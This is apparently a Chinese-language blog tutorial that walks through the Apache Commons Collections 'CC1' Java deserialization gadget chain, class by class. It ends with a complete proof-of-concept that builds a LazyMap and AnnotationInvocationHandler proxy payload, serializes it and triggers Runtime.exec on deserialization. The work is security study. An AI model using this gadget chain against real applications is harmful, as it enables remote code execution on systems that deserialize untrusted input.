Java反序化-cc1

发布于:2022-11-09 ⋅ 阅读:(18) ⋅ 点赞:(0) ⋅ 评论:(0)

利用类分析

Transformer

Transformer 是一个接口,提供了一个transform()方法。官方的注释是 将对象(保持不变)转换为某个输出对象

 

TransformedMap

TransformedMap 类,用来处理一个Map类,对该类进行添加和修改。 当TransformedMap 处理key 和value时,会调用 transform() 方法来对 key 和 value 进行处理

可以看当调用 put() 方法添加key 和 value 时会先调用transformKey() transformValue()方法来对 key value 来进行处理

之后看一下这两个方法,发现里面都有调用到 transform() 方法

这里的keyTransformer 和 valueTransformer 相当于修改器,用来修改 key 和 value ,具体修改的的方法要根据keyTransformer 和 valueTransformer 的 transform()方法来决定。

ConstantTransformer

这个类实现了Transofmer,作用是在实例化的时候接收一个参数,在调用 transform() 方法时返回这个参数

InvokerTransformer

这个类同样实现了Transofmer。 在调用 transform() 方法时通过反射调用参数的类的某个方法,可达到一个代码执行的效果 他在实例化时传入的三个参数分别是 要执行的方法、方法参数的类型、方法的参数

ChainedTransformer

这个类也实现了Transofmer,ChainedTransformer的 transform() 方法就比较特殊了。首先,ChainedTransformer在实例化的时候会获取一个数组,之后调用 transform() 方法的时候数组中所有的类都会调用它们的 transform() 方法 并且transform() 方法返回的值会作为下一个 transform() 方法的参数使用,以此重复
这里借用一下P神的图

Poc构造

Transformer数组构造

看一下已经构造好的数组 这个数组中有两个实例化的类,分别是ConstantTransformer 和 InvokerTransformer。

public static void main(String[] args) {
	 Transformer[] transformers = new Transformer[]{
	 	new ConstantTransformer(Runtime.getRuntime()),
 	 	new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
	};
}
复制代码

将这个数组作为参数传递给ChainedTransformer 类 上文在对ChainedTransformer 介绍时说了,ChainedTransformer 会在调用transform() 方法时把数组中所有类的transform() 方法都调用一点 ,并且把返回的结果作为下一个transform() 方法的参数使用 这里我们在把数组传递给ChainedTransformer 之后调用了transform() 方法

public static void main(String[] args) {
	 Transformer[] transformers = new Transformer[]{
	 	new ConstantTransformer(Runtime.getRuntime()),
 	 	new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"}),
	};
	Transformer transformerChain = new ChainedTransformer(transformers);
	transformerChain.transform("asdf");
}
复制代码

在调用transform() 方法那行打断点,调试一下,看看程序是怎么运行的 在进入到ChainedTransformer#transform() 方法之后会遍历数组,首先遍历到的是 ConstantTransformer。

调用ConstantTransformer#transform() 上文介绍ConstantTransformer 时说过,ConstantTransformer#transform()会返回实例化时接收的参数,在实例化的时候我们接收的参数时 Runtime.getRuntime() 所以这里返回的值就是Runtime 类 在调用完ConstantTransformer#transform() 之后开始下一次的循环 这次循环调用的是InvokerTransformer#transform() InvokerTransformer#transform() 参数用的是ConstantTransformer#transform() 返回的结果 Runtime 这里先是判断input 是否为空,然后使用getMethod() 获取Runtime中的exec() 方法 之后通过invoke() 调用exec方法,参数是"calc" 执行完毕

LazyMap

LazyMap的作用大概就是,当 map 对象要获取 key 时,会判断 map 对象中有没有这个key,如果没有的话,就会创建这个key ,并给这个key 添加值,之后再把这个key 添加到 map对象中 看具体代码

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }
复制代码

调用get() 时,会先判断map 中有没有这个key 如果没有则创建这个key 并调用 factory.transform() 给key 添加一个值,之后调用put() 将这个key 添加至map对象中。

Java动态代理

上面我们讲述了一下触发点,接下来我们来看一下如何才能调用到这个点来代码执行 在ysoserial中是通过sun.reflect.annotation.AnnotationInvocationHandler 这个类中的readObject来调用的 这个类实现了 InvocationHandler 接口,也就是说,当这个类在作为动态代理使用时,被代理对象执行方法时会先去调用 动态代理中的 invoke方法 这里我们看一下 sun.reflect.annotation.AnnotationInvocationHandler#invoke()的代码

    public Object invoke(Object var1, Method var2, Object[] var3) {
        String var4 = var2.getName();
        Class[] var5 = var2.getParameterTypes();
        if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) {
            return this.equalsImpl(var3[0]);
        } else if (var5.length != 0) {
            throw new AssertionError("Too many parameters for an annotation method");
        } else {
            switch (var4) {
                case "toString":
                    return this.toStringImpl();
                case "hashCode":
                    return this.hashCodeImpl();
                case "annotationType":
                    return this.type;
                default:
                    Object var6 = this.memberValues.get(var4);
                    if (var6 == null) {
                        throw new IncompleteAnnotationException(this.type, var4);
                    } else if (var6 instanceof ExceptionProxy) {
                        throw ((ExceptionProxy)var6).generateException();
                    } else {
                        if (var6.getClass().isArray() && Array.getLength(var6) != 0) {
                            var6 = this.cloneArray(var6);
                        }

                        return var6;
                    }
            }
        }
    }
复制代码

这里我们得出一条利用链 通过某个类重写后的readObject() 方法调用 map的任意方法,之后就会调用到动态代理的 invoke() 方法,在invoke()方法中调用到了get() 方法加载key,要是key不在map 对象中,则会调用到transform()方法。

new xxx.readObject()
	new LazyMap().xxx()
		new AnnotationInvocationHandler().invoke()
			new LazyMap().get()
				new ChainedTransformer.transform()
					new ConstantTransformer().transform()
						new InvokerTransformer().transform()

复制代码

接着我们再看一下 sun.reflect.annotation.AnnotationInvocationHandler#readObject() 调用到了 Map接口中的 entrySet()方法,那么这里就可以作为我们的入口点去触发代码执行。


    private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
        var1.defaultReadObject();
        AnnotationType var2 = null;

        try {
            var2 = AnnotationType.getInstance(this.type);
        } catch (IllegalArgumentException var9) {
            throw new InvalidObjectException("Non-annotation type in annotation serial stream");
        }

        Map var3 = var2.memberTypes();
        Iterator var4 = this.memberValues.entrySet().iterator();

        while(var4.hasNext()) {
            Map.Entry var5 = (Map.Entry)var4.next();
            String var6 = (String)var5.getKey();
            Class var7 = (Class)var3.get(var6);
            if (var7 != null) {
                Object var8 = var5.getValue();
                if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                    var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
                }
            }
        }

    }
复制代码

完整攻击链

    public static void main(String[] args) throws Exception{
        //构造恶意数组
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
                new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0]}),
                new InvokerTransformer("exec", new Class[] { String.class }, new String[] {"calc"}),
        };

        //获取恶意数组
        Transformer transformerChain = new ChainedTransformer(transformers);
        //将恶意方法作为修饰元素的方法
        Map lazyMap = LazyMap.decorate(new HashMap(),transformerChain);

        //反射获取并实例化动态代理
        Class cls = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = cls.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        InvocationHandler LazyMap_handler = (InvocationHandler) constructor.newInstance(Retention.class,lazyMap);

        //代理 lazyMap的接口,使用 LazyMap_handler代理
        //proxyMap在调用到 Map接口中的任意方法之后将会执行 LazyMap_handler的 invoke()方法
        Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),lazyMap.getClass().getInterfaces(),LazyMap_handler);

        //将 proxyMap带入到 sun.reflect.annotation.AnnotationInvocationHandler类中,去调用 entrySet()方法
        Object  handler = constructor.newInstance(Retention.class,proxyMap);

        //反序列化
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("LazyMap_CC1"));
        oos.writeObject(handler);
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("LazyMap_CC1"));
        ois.readObject();
    }